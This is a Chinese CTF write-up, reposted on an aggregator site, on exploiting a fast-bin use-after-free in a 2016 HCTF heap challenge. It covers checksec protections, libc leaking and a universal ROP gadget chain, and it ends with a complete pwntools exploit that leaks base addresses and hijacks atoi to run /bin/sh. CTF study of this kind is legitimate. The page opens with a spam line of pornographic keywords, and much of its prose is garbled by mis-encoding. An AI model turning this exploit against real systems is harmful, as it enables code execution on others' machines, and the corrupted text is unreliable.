日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

见微知著(一):解析ctf中的pwn--Fast bin里的UAF

發(fā)布時(shí)間:2023/12/10 编程问答 52 豆豆
生活随笔 收集整理的這篇文章主要介紹了 见微知著(一):解析ctf中的pwn--Fast bin里的UAF 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

  在網(wǎng)上關(guān)于ctf pwn的入門資料和writeup還是不少的,但是一些過渡的相關(guān)知識(shí)就比較少了,大部分賽棍都是在不斷刷題中總結(jié)和進(jìn)階的。所以我覺得可以把學(xué)習(xí)過程中的遇到的一些問題和技巧總結(jié)成文,供大家參考和一起交流。當(dāng)然,也不想搞那些爛大街的東西,所以,打算從一道道pwn題開始,見微知著,在題目中延伸。

?

一:工欲善其事必先利其器

  ubuntu14.01 64位(該版本對(duì)pwntools的支持最好)。

  pwntools:用于快速編寫pwn的exp的python庫,功能非常強(qiáng)大。

  IDA:二進(jìn)制必備的工具,主要用來反匯編代碼,以及初步調(diào)試。

  libc-database:用于猜測libc.so.6庫的工具,非常好用。(可以在github里面找)

  ROPgaget:用于查找和生成ROP鏈。

  gdb:雖然Linux肯定自帶了,但還是說一下吧。

?

二:一道2016HCTF的UAFpwn題

   當(dāng)然,拿到一個(gè)二進(jìn)制文件,首先需要運(yùn)行一下??唇貓D

  

  當(dāng)然,很蛋疼的是這個(gè)輸入設(shè)置的也是醉了,最好先把IDA打開,看一下怎么輸入??梢钥闯?#xff0c;這個(gè)題目的輸入邏輯還是挺簡單的,根據(jù)套路,一般是在堆上搞問題。在進(jìn)行分析之前,再利用checksec(pwntools自帶了?)檢查一下文件的屬性。

? ? ?

  嗯!先來介紹一下checksec檢測的各個(gè)屬性的作用:

?

三:checksec里的各個(gè)屬性和含義

  i:Stack Guard

  最熟悉的就是Stack Guard了,最經(jīng)典的防護(hù)措施,記得最早接觸是在看《深入理解計(jì)算機(jī)系統(tǒng)》的時(shí)候,通過在棧中插入Canary(這有一個(gè)很洋氣的中文名,金絲雀值,具體典故可以自行g(shù)oogle額,不多廢話了),通過在return之前監(jiān)測值是否變化來確定是否發(fā)生了棧溢出。對(duì)于canary,在windows上(GS機(jī)制)和Linux上的初始化還是有很大的差別的,Windows上的產(chǎn)生就不多加闡述了,大致是.data的頭四個(gè)字節(jié)和esp進(jìn)行異或操作生成的,這里主要講一下Linux的Stack Guard。

  先來看一段有canary的匯編代碼。

400610: 55 push %rbp400611: 48 89 e5 mov %rsp,%rbp400614: 48 83 ec 30 sub $0x30,%rsp400618: 89 7d dc mov %edi,-0x24(%rbp)40061b: 48 89 75 d0 mov %rsi,-0x30(%rbp) 40061f: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax <- 插入canary值400626: 00 00400628: 48 89 45 f8 mov %rax,-0x8(%rbp)40062c: 31 c0 xor %eax,%eax40062e: 48 8d 45 e0 lea -0x20(%rbp),%rax400632: 48 89 c6 mov %rax,%rsi400635: bf 00 07 40 00 mov $0x400700,%edi40063a: b8 00 00 00 00 mov $0x0,%eax40063f: e8 cc fe ff ff callq 400510 <__isoc99_scanf@plt>400644: 48 8d 45 e0 lea -0x20(%rbp),%rax400648: 48 89 c7 mov %rax,%rdi40064b: e8 80 fe ff ff callq 4004d0 <puts@plt>400650: b8 00 00 00 00 mov $0x0,%eax400655: 48 8b 55 f8 mov -0x8(%rbp),%rdx <- 檢查canary值 400659: 64 48 33 14 25 28 00 xor %fs:0x28,%rdx400660: 00 00400662: 74 05 je 400669 <main+0x59> # 0x400669400664: e8 77 fe ff ff callq 4004e0 <__stack_chk_fail@plt>400669: c9 leaveq40066a: c3 retq

?

  可以看那兩行表明為紅色的匯編代碼,可以發(fā)現(xiàn)canary就是fs:0x28的值了,在Linux中,glbc把fs指向tls,換句話說,canary的值在tls偏移0x28處,來看一下tls的數(shù)據(jù)結(jié)構(gòu)

typedef struct {void *tcb; /* Pointer to the TCB. Not necessarily thethread descriptor used by libpthread. */dtv_t *dtv;void *self; /* Pointer to the thread descriptor. */int multiple_threads;int gscope_flag;uintptr_t sysinfo;uintptr_t stack_guard; <- canary值,偏移位置0x28處uintptr_t pointer_guard;...... } tcbhead_t;

?  其中tcbhead_t就是來描述tls的了,進(jìn)程加載的過程中會(huì)調(diào)用arch_prctl系統(tǒng)調(diào)用來設(shè)置%fs的值,而canary的值則是在glibc的_dl_main和__libc_start_main函數(shù)中通過_dl_sysdep_start函數(shù)從內(nèi)核獲取的,說了這么多,就是想說,對(duì)canary的值進(jìn)行猜測還是挺難的,繞過它的方法主流一般有兩種,一種是step-by-step,還有一種是覆蓋直接修改tls里的canary。當(dāng)然,至于我說的繞過是正面剛,曲線救國的方法還是挺多的。以后的文章可能會(huì)就這個(gè)問題進(jìn)行具體描述,這篇文章主要講堆,就不繼續(xù)擴(kuò)展了。

  ii:N^X

  NX即No-eXecute(不可執(zhí)行)的意思,NX(DEP)的基本原理是將數(shù)據(jù)所在內(nèi)存頁標(biāo)識(shí)為不可執(zhí)行,當(dāng)程序溢出成功轉(zhuǎn)入shellcode時(shí),程序會(huì)嘗試在數(shù)據(jù)頁面上執(zhí)行指令,此時(shí)CPU就會(huì)拋出異常,而不是去執(zhí)行惡意指令。繞過的最主流的方法就死ROP(return-orient-program)和JOP(Jump-orient-program)了,關(guān)于JOP,前一段時(shí)間打印了2010的那篇描述JOP的paper,但是這段時(shí)間到了考試周,也沒空看(其實(shí)也是因?yàn)橛⑽臓€)。而且感覺在ctf中很少看見(當(dāng)然,估計(jì)是刷題刷的少),在Windows的exp上倒是經(jīng)常混合使用。不過其實(shí)原理都差不多,在這個(gè)題中,會(huì)詳細(xì)描述一下pwn使用ROP的一些套路。

  iii:PIE

  其實(shí)我還是喜歡叫ALSR(address space layout randomization),無論如何,ALSR都是以頁為單位的,所以在頁中,位置不變,即可以修改最后一位進(jìn)行繞過,這也是慣有套路了,這個(gè)題目就是通過這個(gè)手段來進(jìn)行l(wèi)eak出進(jìn)程的基地址。

  iv:RELRO(Relocation Read Only)

  gcc/linker/glibc dynamic-linker共同實(shí)現(xiàn)的,由linker指定binary的一塊經(jīng)過dynamic linker處理過 relocation之后的區(qū)域?yàn)橹蛔x。可以盡可能減少存儲(chǔ)區(qū)可寫地址的范圍,但是............只要有可寫的地方就有利用的機(jī)會(huì)。具體的實(shí)現(xiàn)可以參考 ?http://hardenedlinux.org/2016/11/25/RelRO.html。針對(duì)這一點(diǎn),0cft2017里面的writeup有非常經(jīng)典的利用

  

四:分析和利用

  靜態(tài)分析代碼怎么能少了IDA呢?把主要函數(shù)都起一個(gè)通俗易懂的名字,建立好核心的數(shù)據(jù)結(jié)構(gòu),理清具體的工作流程和堆的釋放分配器情況(這個(gè)題目顯然是在堆上搞問題)。先看一下得出的關(guān)鍵數(shù)據(jù)結(jié)構(gòu)。

  根據(jù)堆分配大小可以得出這個(gè)題目是關(guān)于塊表分配的,關(guān)于堆分配的具體知識(shí),可以去參考http://www.freebuf.com/articles/security-management/105285.html。而且在堆釋放的時(shí)候的并沒有必要的檢查。所以完全可以試著去進(jìn)行UAF。

  UAF的基本流程是。malloc(sizeof(A))【A一般帶函數(shù)指針】--->init(A)---->free(A)--->占位-->A的函數(shù)解引用,這個(gè)題目中,分配空間的途徑只有一條,換句話說,這個(gè)問題的核心是如何將分配的數(shù)據(jù)覆蓋到struct_str就好了,這里的方法很多種,在這里分享一種使用兩種分配方式的方法(單純一種也可以),先看具體流程

? ? ?

  為了完整性,粗略說一下fast bin的分配釋放的方式。在fast bin中,是由單項(xiàng)鏈表連接起來的,每個(gè)chunk的pre_chunk指向之前回收的chunk,即回收的chunk出于鏈表頭部,此時(shí)分配時(shí)也會(huì)從頭部分配,這里值得補(bǔ)充的是fast bin在free的時(shí)候并不檢查double free ,這樣可以形成循環(huán)鏈表,循環(huán)鏈表可以有利于chunk循環(huán)利用,這個(gè)題目沒必要這樣,但可以了解一下,free(0)->free(1)->free(0)(本題并不使用該

使用該方法)。

  

  在本題中,先是malloc(chunk0)->malloc(chunk1),其中chunk1,chunk2都小于16個(gè)字節(jié),即進(jìn)入上圖的第二種情況。再free(chunk1)->free(chunk0),此時(shí)只要分配一個(gè)大小為0x20的buffer就可以覆蓋chunk1了。但是,這里有一個(gè)問題,題目開了PIE,所以只能覆蓋12位,這里可以在12位的范圍里找呀找,翻到了put,此時(shí)rdi指向了該chunk的,delete(chunk1)可以直接將put的位置泄露出來,根據(jù)put的位置可以得到進(jìn)程加載的基地址如圖:

代碼如下:

addr = u64(addr + '\x00' * (8 - len(addr))) - 0xd2d #d2d是相對(duì)于基地址put的偏移print 'mainBase:', print hex(addr)

?  由于題中的二進(jìn)制文件并沒有system,所以需要在libc.so.6里拿到system的地址。這里有三種比較主流的方法可以得到chunk,如下:

?

五:得到libc.so.6 里的system的三種常用方法

  1:利用libc-database

    這一種是最簡單暴力的,只要你有個(gè)足夠大的libc-database就好了(其實(shí)我花了很長時(shí)間才明白這個(gè)道理的,之前都是慢慢leak出來的)。原理也很簡單,就是記住每個(gè)版本的read,write, system, ”/bin/sh"的地址,由于地址隨機(jī)化是以頁為單位的,所以拿后12位,和自己leak出來的地址后12位對(duì)比,就可以得到用相應(yīng)的版本,具體如下圖:

  

  2:leakLib

    當(dāng)然之前一種方法并不一定湊效,萬一平臺(tái)的libc版本你database里沒有就尷尬了,所以你需要另一個(gè)方法來解決這個(gè)問題,說到這里,不得不說pwntools這個(gè)神器了,里面有關(guān)于這個(gè)的函數(shù),你所需要的就是得到可以任意讀至少一個(gè)字節(jié)的漏洞,根據(jù)這個(gè)就可以直接直接得到systemde地址了,當(dāng)然具體原理,值得用一篇的篇幅來細(xì)講,和3一起留在下一篇文章繼續(xù)說。

  3:Return-to-dl_solve?    

    這個(gè)方法主要是利用自己偽造rel_entry,symtab,strtab,然后通過增大rel_offset來直接調(diào)用system函數(shù),這種方法的原理和上一種方法一樣,需要對(duì)PE文件格式有一定的了解才能徹底理解,詳情放在下一篇。

?

六:編寫Exploit

  這個(gè)題目閑麻煩,就直接使用第一種了(畢竟打本地),后面兩種方法就放在下一篇一起解決了。在編寫exp之前,想介紹一下pwn的幾個(gè)小技巧,

    1>特別在堆上搞事情的pwn題,經(jīng)常需要幾個(gè)步才能實(shí)現(xiàn)一次分配或者釋放,所以完全可以將封裝成一個(gè)函數(shù),還可以增加代碼的可讀性

    2>合理使用 ?context()函數(shù),gdb.attach()函數(shù)。這兩個(gè)函數(shù)訥能夠在調(diào)試中給予很大的便利,context(log_level='debug')可以輸出運(yùn)行過程中io交互的細(xì)節(jié),而gdb.attach函數(shù)則是可以利用gdb調(diào)試,特別對(duì)于在Windows下習(xí)慣用OD的人來說,gdb并不是那么用戶友好的,但是在很多場景下,gdb可能是唯一的選擇,比如利用kgdb調(diào)試Linux內(nèi)核,所以用好gdb還是很有必要的,至于怎么用的話,在實(shí)踐中利用help,熟能生巧吧!

    3>學(xué)會(huì)使用pwntools的各個(gè)函數(shù),不得不說,pwntools里對(duì)很多pwn里經(jīng)常使用的東西都進(jìn)行高度封裝了。

  之前已經(jīng)可以控制任意指針,并leak除了進(jìn)程的加載基地址,現(xiàn)在完全可以leak其它的地址,再通過對(duì)比后12位,這樣基本leak libc.so.6的地址了,這是說一下通用ROPgaget吧!

  在64位程序中很蛋疼的一點(diǎn)是,它的參數(shù)優(yōu)先放在寄存器中,順序依次為rdi,rsi,rdx,rcx,r8,r9。而不是從棧中直接提取,這樣的話就不能直接把參數(shù)放到棧上面了,這里需要我們來繞一個(gè)彎,這個(gè)彎就是利用pop rdi;ret。pop rsi;ret。pop rdx;ret。來解決。在題目中,可以通過ROPgaget來獲取,但是程序中不一定能夠直接得到,所以可以通過通用Gadget。 ?

基本就是這一段代碼,具體的描述請(qǐng)參考***********(文章沒找到,最開始出現(xiàn)在烏云,到后到處轉(zhuǎn)載,自己找一下應(yīng)該就能找到了)

這是這個(gè)題目的ROP鏈

def creatROP():ropchain = p64(addr + 0x00000000000011e3) # pop rdiropchain += p64(addr + 0x202070)# got@mallocropchain += p64(addr + 0x0000000000000990)# plt@putropchain += p64(addr + 0x00000000000011DA)# magicropchain += p64(0)# rbxropchain += p64(1)# rbpropchain += p64(addr + 0x0000000000202058)# r12 -> rip got@readropchain += p64(8)# r13 -> rdxropchain += p64(addr + 0x0000000000202078)# r14 -> rsi got@atoiropchain += p64(0)# r15 -> rdiropchain += p64(addr + 0x00000000000011C0)# magicropchain += 'a'*8*7ropchain += p64(addr + 0x0000000000000B65)# getIntropchain = 'yes AAAA'+ropchainreturn ropchain

?  看起來很長,其實(shí)設(shè)計(jì)已經(jīng)成為套路了,詳情可以自己調(diào)試看看。這里設(shè)計(jì)很巧妙的有點(diǎn)是,atoi函數(shù)直接是吧輸入字符串作為參數(shù),這樣的話可以直接覆蓋為system的地址,然后不需要設(shè)置參數(shù),直接調(diào)用前一個(gè)函數(shù)就可以了。

?

七:exp實(shí)現(xiàn)

#! /usr/bin/python from pwn import *# switches DEBUG = 0 LOCAL = 1 VERBOSE = 1# modify this if LOCAL:target = process('./heap') else:target = remote('119.28.62.216',10023)if VERBOSE: context(log_level='debug')def creatROP():ropchain = p64(addr + 0x00000000000011e3) # pop rdiropchain += p64(addr + 0x202070)# got@mallocropchain += p64(addr + 0x0000000000000990)# plt@putropchain += p64(addr + 0x00000000000011DA)# magicropchain += p64(0)# rbxropchain += p64(1)# rbpropchain += p64(addr + 0x0000000000202058)# r12 -> rip got@readropchain += p64(8)# r13 -> rdxropchain += p64(addr + 0x0000000000202078)# r14 -> rsi got@atoiropchain += p64(0)# r15 -> rdiropchain += p64(addr + 0x00000000000011C0)# magicropchain += 'a'*8*7ropchain += p64(addr + 0x0000000000000B65)# getIntropchain = 'yes AAAA'+ropchainreturn ropchaindef create(size, string):target.recvuntil('quit')target.sendline('create ')target.recvuntil('size:')target.sendline(str(size))target.recvuntil('str:')target.send(string)def delete(id,payload='yes'):target.recvuntil('quit')target.sendline('delete ')target.recvuntil('id:')target.sendline(str(id))target.recvuntil('sure?:')target.sendline(payload)if DEBUG: gdb.attach(target)a = raw_input('go2?') create(4, 'aaa\n') #a = raw_input('go?') create(4, 'aaa\n') #delete(0) delete(1) delete(0) #create(4, '\x00') create(0x20, 'a' * 0x16 + 'lo' + '\x2d') delete(1)target.recvuntil('lo') addr = target.recvline() addr = addr[:-1] put_addr = u64(addr + '\x00' * (8 - len(addr))) print 'putBase:'+str(hex(put_addr))addr = u64(addr + '\x00' * (8 - len(addr))) - 0xd2d print 'mainBase:',print hex(addr) delete(0) #create(4, '\x00') payload1 = 'a' * 0x18 + p64(0x00000000000011DC + addr) create(0x20,payload1)ropchain = creatROP() delete(1,ropchain) addr = target.recvline()[:-1] addr = u64(addr + '\x00' * (8 - len(addr))) print "malloc_addr:", print hex(addr) addr = addr - 534112 + 288144(這里可能要自己修改基地址) #addr = addr - 537984 + 283536 print 'System_addr:', print hex(addr) print 'LibBase:', print hex(addr)target.sendline(p64(addr)+'/bin/sh') target.interactive()

?

轉(zhuǎn)載于:https://www.cnblogs.com/0xJDchen/p/6175651.html

總結(jié)

以上是生活随笔為你收集整理的见微知著(一):解析ctf中的pwn--Fast bin里的UAF的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。